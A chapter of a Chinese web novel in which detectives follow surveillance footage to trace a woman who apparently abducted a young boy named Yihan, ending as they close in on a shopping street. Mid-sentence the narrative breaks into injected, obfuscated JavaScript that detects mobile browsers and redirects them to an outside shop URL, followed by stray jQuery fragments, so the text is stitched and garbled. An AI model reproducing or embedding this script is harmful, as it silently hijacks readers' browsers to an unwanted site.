一夜无眠,或者说,无人真正入睡。
后半夜,谢故迟在薛安固执的怀抱和体温中,断断续续、极其不安稳地眯了几个小时。
天刚蒙蒙亮,谢故迟就睁开了眼睛。眼底的血丝和疲惫浓得化不开。他轻轻挣开薛安依旧环着他的手臂,坐起身。薛安几乎同时醒了,眼睛里同样布满红血丝。
两人对视一眼,没有任何言语,却都明白对方的意思。
谢母也是一夜未合眼,眼睛红肿,看到他们出来,张了张嘴,最终只是沙哑地说了一句:“小心点。”
“妈,您在家等消息,哪儿也别去。”谢故迟的声音比平时更哑。
薛安快速检查了一下手机和证件,对谢母点点头:“阿姨放心,有消息我第一时间通知您。”
两人驱车赶往市局。清晨的城市尚未完全苏醒,街道空旷,只有早班的公交车和清洁工在忙碌。
车厢里谁也没有说话。薛安专注开车,谢故迟则一直看着窗外飞速倒退的街景,手指无意识地一下下敲击着膝盖。
回到市局。林队显然也是一夜没怎么休息,眼眶深陷,但精神高度集中。
看到他们进来,立刻招手:“过来!有进展,但不多。”
会议室的白板上已经贴上了母亲家小区的平面图、监控截图和一些时间线标记。苏芮菡、小王等几个骨干队员都在,个个神色严肃。
“我们调取了以小区为中心,半径三公里内,昨天上午九点到下午一点,所有主干道、次要道路、以及部分商铺的民用监控。”林队指着白板上的几张模糊截图,“这是奕含最后出现在游乐场监控里的画面,时间上午9点47分。之后,小区内部监控再没有捕捉到他的清晰正脸。”
“但是,”林队切换了一张图片,是小区外临街一个公交站台的监控画面,时间显示上午10点08分。“在这个公交站,拍到了一个可疑组合。”
画面不算清晰,带着监控特有的噪点和模糊。但能清楚地看到,一个穿着黑色长款风衣、戴着同色宽檐帽和几乎遮住半张脸的大墨镜的女人,身形高瘦,站得笔直。
她手里,牵着一个约莫七八岁的小男孩。男孩穿着一身崭新略显宽大的牛仔背带裤和浅色T恤,戴着一顶鸭舌帽,帽檐压得很低,看不清脸。
男孩很安静,被女人牵着,没有挣扎,没有哭闹,只是微微低着头。
“这个男孩的身高、体型,和奕含高度相似。”林队的语气很沉,“但衣服完全不一样。奕含失踪时穿的是浅蓝色小熊卫衣和深色休闲裤。”
“换衣服了。”薛安立刻说,“如果真是被带走,第一时间换掉特征明显的衣服,是常见的反侦察手段。”
“这个女人很可疑。”苏芮菡指着画面,“大白天,戴这么夸张的墨镜和帽子,刻意遮挡面容。风衣款式虽然常见,但质地看起来不错,不像普通路人。而且,她站姿很……挺,有种刻意保持的感觉。”
“他们上了一辆开往城西方向的23路公交车。”小王补充道,“我们已经联系公交公司,调取那辆公交车上的监控,以及沿途可能拍到这辆车和下车站点的其他监控。但需要时间。”
“重点排查这个女人的社会关系,尤其是近期是否有异常举动。”林队沉声命令,“小谢,薛安,你们仔细看看,对这个女人,有没有哪怕一丁点印象?身材,走路的姿态,任何细节?”
谢故迟和薛安紧紧盯着那张模糊的截图。黑色的风衣,宽檐帽,大墨镜……将女人的特征遮挡得严严实实。只有那高瘦的身形,和牵着孩子时,略显僵直的站姿,透着一股说不出的怪异。
谢故迟的眉头深深锁起。他在记忆中疯狂搜索,但没有任何一张脸能与这个模糊的身影对应。
薛安也摇了摇头:“没见过。但感觉……不像生手。遮挡得太彻底,孩子也很‘乖’,不像是临时起意或普通的拐带。”
“继续扩大监控排查范围。”林队揉了揉太阳穴,“特别是城西方向,那片区域老旧小区、工厂、仓库多,地形复杂。”
一整个上午,刑侦支队都在高速运转。电话声、键盘敲击声、低声讨论声不绝于耳。
公交车的监控调取到了,画面显示黑衣女人和男孩在车厢后部并排坐着,全程几乎没有交流,女人一直侧头看着窗外,男孩低着头玩自己的手指。
他们在城西一个名叫“老机床厂”的旧站下了车,那里靠近一片待拆迁的棚户区和废弃工厂区,监控覆盖很少。
线索似乎在这里断了。技术队尝试通过女人的衣着、配饰等细节进行图像增强和溯源,但收获甚微。那身行头太普通,几乎没有任何品牌标识或独特特征。
下午,众人再次聚集在会议室,反复观看有限的几段监控视频,试图从中找出哪怕一丝被忽略的细节。气氛压抑而焦灼。
谢故迟坐在角落,面前摊着放大的监控截图,眼睛一眨不眨地盯着那个黑衣女人的身影。
高,瘦,挺拔,黑衣,黑帽,黑镜……
薛安坐在他身边,同样眉头紧锁,但目光更多时候是落在谢故迟苍白的侧脸上。他时不时递过一杯温水,低声说一句“缓缓眼睛”,但谢故迟大多时候只是机械地接过,喝一口,又放下,目光重新回到屏幕上。
就在会议室的空气凝重得快要滴出水时,一直盯着公交站台那段监控慢放画面的苏芮菡,忽然“咦”了一声,身体微微前倾。
“等等!暂停!倒回去三秒!”她急声道。
操作画面的技术员立刻照做。画面定格在黑衣女人牵着男孩,正要转身走向公交车门的瞬间。因为是侧面角度,加上帽檐和墨镜的遮挡,女人的脸依旧模糊不清。
“放大!右上角,她右手手腕!”苏芮菡指着屏幕。
画面被局部放大,像素变得有些模糊,但能勉强看清,女人抬起右手,似乎是要扶一下帽檐,或者只是一个无意识的动作。在她黑色风衣的袖口和黑色皮质手套之间,露出了一小截苍白的手腕。而在那截手腕上,似乎……戴着一个东西。
“再放大!增强!”林队也凑了过来。
技术员快速操作,画面经过处理,虽然依旧不够清晰,但那手腕上的物件轮廓变得明显了一些——那是一个手镯。不是常见的金银或玉石,看起来质地有些特别。
“手镯?”小王疑惑,“这能说明什么?很多女人都戴手镯。”
“但这个样式……”苏芮菡皱着眉,努力回忆,“我好像在哪里见过……很特别,不像市面上常见的款式。有点像……某些小众设计品牌,或者……手工定制?”
谢故迟和薛安的目光也瞬间聚焦在那个模糊的手镯影像上。谢故迟的心跳莫名加快了几拍。
这个手镯……他有一种似曾相识的感觉,但怎么也想不到。
“把图片截下来,发给物证和画像组,看看有没有人认识这种特殊样式的手镯。同时,排查本市乃至省内,销售或定制类似风格饰品的工作室、店铺、网店,尤其是走高端、小众、暗黑风格路线的。”林队立刻下达指令,“这可能是目前最具体的实物线索!”
“另外,”薛安盯着那截苍白手腕和奇异手镯,沉声补充,“注意她的鞋。”
画面再次调整,聚焦女人的脚部。她穿的是一双黑色的、款式简洁的平底短靴,靴筒包裹住脚踝,鞋底看起来有一定厚度。
“鞋很干净,几乎没有磨损。这种打扮,去城西那种灰尘大的待拆迁区?”薛安道,“要么是刚到不久,要么……就是刻意换了行头。查一下这个牌子或类似款式的鞋,销售渠道和购买记录。还有,注意她的步态,虽然模糊,但感觉步伐很稳,步幅均匀,不像是普通市民或者慌张的作案者。”
薛安感受到身边人气息的变化,他悄悄伸出手,在桌下握住了谢故迟冰凉的手。谢故迟的手指微微动了一下,然后,反手握住了他。
两人对视一眼,无需多言。
·
薛安和谢故迟决定亲自跑一趟。他们首先去了公交公司,调取了那辆23路公交车更清晰的内部监控,以及司机和当时可能同车乘客的询问记录。
可惜,车内监控角度有限,女人和孩子坐在后排角落,大部分时间被椅背遮挡,司机和零星几位乘客对这对“母子”组合印象模糊,只记得女人一直看着窗外,孩子很安静,没哭没闹。
“老机床厂”站所在的城西区域,曾经是工业区,如今大半荒废,等待拆迁重建。街道狭窄,监控稀疏,流动人口复杂。黑衣女人和男孩在这里下车,如同水滴入海,瞬间失去了踪迹。
时间在焦灼的排查中又过去了一天。奕含失踪超过四十八小时,黄金救援时间正在一分一秒地流逝。
谢故迟脸上的血色越来越少,几乎不眠不休,除了配合调查,就是反复观看那几段有限的监控视频,眼睛熬得通红。
薛安同样疲惫,但必须强迫自己保持清醒,既要追查线索,又要寸步不离地守着谢故迟,怕他身体垮掉,也怕他精神崩溃。
就在案情似乎陷入僵局时,第三天上午,技术队传来了一个意想不到的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559285|204528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
消息。
他们在排查“老机床厂”站周边更远范围的民用和交通监控时,有了新的发现。一辆在当天上午10点30分左右,经过该站附近一条支路的私家车行车记录仪,拍到了一段模糊的画面。
画面中,一个穿着黑色风衣、戴帽子墨镜的高瘦女人,牵着一个穿着牛仔背带裤的小男孩,正沿着一条堆满建筑垃圾的小路,快步走向主路方向。
仅仅两分钟后,在下一个路口的天网监控中,捕捉到他们上了一辆停在路边的、没有牌照的银色面包车。面包车随后驶离,消失在不远处的车流中。
“面包车!”林队猛地一拍桌子,“查这辆车的去向!通知交警部门,调取沿途所有卡口和天网监控,给我把这辆车的行动轨迹挖出来!”
技术队立刻行动起来,以银色面包车为突破口,进行视频追踪。这辆车显然有所准备,行驶路线刻意避开了不少主干道的摄像头,专挑小路和监控盲区走,给追踪带来了很大难度。
它没有像预想中那样驶向更偏僻的郊外或仓库,反而在市区里绕了几个圈后,一头扎进了城市最繁华、人流最密集的区域之一——市中心商业步行街。
“步行街?”薛安看着屏幕上最终锁定的区域,眉头紧紧拧起,“他们去了那里?在步行街下了车?”
“监控显示,面包车在步行街西侧的一个临时停车点短暂停留,黑衣女人和孩子下车,随后面包车驶离。女人和孩子则混入了步行街的人流中。”负责追踪的警员汇报道,“步行街内部及周边商户的私人监控我们已经申请调取,但人流量太大,识别难度非常高。而且……他们可能再次更换了装扮。”
市中心商业步行街,周末的下午,人潮汹涌,摩肩接踵。各色店铺霓虹闪烁,音乐声、叫卖声、谈笑声混杂成一片喧嚣的海洋。在这里寻找一个刻意伪装过的女人和一个可能换了衣服的孩子,无异于大海捞针。
“立刻出发!去步行街!”林队当机立断,“薛安,谢故迟,你们跟我一组。其他人分头行动,调取步行街所有出入口、重点路段、以及大型商场内部的监控,重点排查黑衣女人、牛仔背带裤男孩,以及任何携带大件行李、行为异常的可疑人员。联系步行街管委会和辖区派出所,请求协助,注意便衣,不要打草惊蛇!”
命令迅速下达。薛安和谢故迟立刻起身,跟着林队冲出市局,跳上警车,拉响警笛,朝着市中心风驰电掣而去。
薛安一边开车,一边用对讲机和已经先期赶到步行街附近布控的同事沟通情况。
警车在距离步行街入口还有一段距离的地方停下,以免引起不必要的骚动。三人迅速下车。林队低声布置任务,三人分散开,但又保持在彼此的视线范围内。
谢故迟强迫自己冷静下来,他的目光快速扫过身边经过的每一张面孔,每一个孩子的身影,每一处可能藏匿的角落。
他看到无数牵着孩子的父母,欢声笑语;看到独自哭泣被家长找到的孩童;看到穿着各色衣服、跑来跑去的男孩女孩……但没有浅蓝色小熊卫衣,没有牛仔背带裤,没有那个安静得过分的小小身影。
时间一分一秒过去,每一秒都像是在凌迟。汗水浸湿了谢故迟的内衫,冷风吹过,带来一阵寒意。他的脚步越来越快,目光越来越急,几乎要控制不住地奔跑起来。
“老谢!”薛安的声音从对讲机里传来,带着安抚,“慢一点,注意观察,别慌。我们的人在调监控,一定有线索。”
谢故迟深吸一口气,强迫自己放慢脚步。
他注意到一个坐在街边长椅上、低着头玩手机的女人,身形高瘦,穿着普通的米色风衣,但脚上是一双黑色短靴……不,靴型不对。他看到一个男人牵着一个戴鸭舌帽的小男孩走进一家玩具店,男孩的身高……不对,腿更长一些。
就在这时,他口袋里的手机震动了一下。是薛安发来的信息,附带一张刚刚从步行街一家大型商场侧门监控中截取的经过处理的图片。
图片依旧有些模糊,但能辨认出,一个穿着灰色连帽卫衣、戴着口罩和棒球帽的女人,牵着一个穿着深红色运动套装、同样戴着口罩和鸭舌帽的小男孩,正从侧门走出,融入外面的人流。
女人的身形高瘦,走路姿势……和公交站那个黑衣女人有几分神似。而男孩的身高体型,与奕含高度吻合。
“侧门!出来往东走了!”薛安的信息紧接着传来,“我和林队在往那边赶!老谢,你从你那边包抄!注意,他们可能再次更换了装扮!灰色卫衣,红运动装!”